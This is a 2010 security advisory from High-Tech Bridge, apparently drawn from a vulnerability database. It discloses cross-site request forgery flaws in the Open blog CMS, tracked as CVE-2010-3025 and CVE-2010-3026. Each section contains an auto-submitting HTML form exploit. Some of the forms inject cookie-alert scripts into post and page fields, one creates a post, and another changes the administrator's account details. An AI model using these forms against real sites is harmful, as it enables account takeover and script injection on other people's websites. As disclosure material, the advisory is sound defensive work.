Cross-site Request Forgery (CSRF) in Open blog

2010-07-22T00:00:00
ID HTB22496
Type htbridge
Reporter High-Tech Bridge
Modified 2010-07-22T00:00:00

Description

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Open blog which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery vulnerabilities in Open blog: CVE-2010-3025
1.1 The vulnerability exists due to insufficient validation of the request origin in application/modules/admin/controllers/posts.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and publish arbitrary posts. Further exploitation might allow arbitrary HTML and script code execution in context of the vulnerable website due to insufficient sanitation of input data in the "excerpt" parameter via admin/posts/edit.
Exploitation example:
<form action="http://host/admin/posts/edit" method="post" >
<input type="hidden" name="title" value="Welcome to Open Blog" />
<input type="hidden" name="excerpt" value='Some text"><script>alert(document.cookie)</script>' />
<input type="hidden" name="content" value="" />
<input type="hidden" name="categories[]" value="1" />
<input type="hidden" name="tags" value="openblog" />
<input type="hidden" name="publish_date" value="13/07/2010" />
<input type="hidden" name="status" value="published" />
<input type="hidden" name="id" value="1" />
<input type="submit" name="submit" id="sbmtit" value="Edit &rsaquo;&rsaquo;" />
</form>
<script>
document.getElementById('sbmtit').click();
</script>
1.2 The vulnerability exists due to insufficient validation of the request origin in application/modules/admin/controllers/pages.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and publish arbitrary posts. Further exploitation might allow arbitrary HTML and script code execution in context of the vulnerable website due to insufficient sanitation of input data in the "content" parameter in via admin/pages/edit.
Exploitation example:
<form action="http://host/admin/pages/edit" method="post" >
<input type="hidden" name="title" value="open blog page title" />
<input type="hidden" name="content" value='Some page content and <script>alert(document.cookie)</script>' />
<input type="hidden" name="status" value="active" />
<input type="hidden" name="id" value="1" />
<input type="submit" name="submit" id="sbmtit" value="Edit &rsaquo;&rsaquo;" />
</form>
<script>
document.getElementById('sbmtit').click();
</script>
1.3 The vulnerability exists due to insufficient validation of the request origin in admin/posts/create. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and create arbitrary posts.
Exploitation example:
<form action="http://[host]/admin/posts/create" method="post" name="main" />
<input name="title" value="1" type="hidden" />
<input name="excerpt" value="<p>2</p>" type="hidden" />
<input name="content" value="<p>3</p>" type="hidden" />
<input name="tags" value="" type="hidden" />
<input name="publish_date" value="12/15/2010" type="hidden" />
<input name="status" value="published" type="hidden" />
<input name="allow_comments" value="1" type="hidden" />
<input name="categories[]" value="1" type="hidden" />
<input name="submit" value="Create" type="hidden" />
<input type="submit" id="btn" name="submit" value="Submit ››">
</form>
<script>
document.getElementById('btn').click();
</scri pt>

2) Cross-site request forgery (CSRF) vulnerability in Open blog: CVE-2010-3026
The vulnerability exists due to insufficient validation of the request origin in application/modules/admin/controllers/users.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change the administrator`s credentials.
Exploitation example:
<form action="http://host/admin/users/edit" method="post" >
<input type="hidden" name="display_name" value="User" />
<input type="hidden" name="level" value="administrator" />
<input type="hidden" name="email" value="email@example.com" />
<input type="hidden" name="website" value="" />
<input type="hidden" name="msn_messenger" value="" />
<input type="hidden" name="jabber" value="" />
<input type="hidden" name="about_me" value="about_me" />
<input type="hidden" name="id" value="2" />
<input type="submit" name="submit" id="sbmtit" value="Edit &rsaquo;&rsaquo;" />
</form>
<script>
document.getElementById('sbmtit').click();
</script>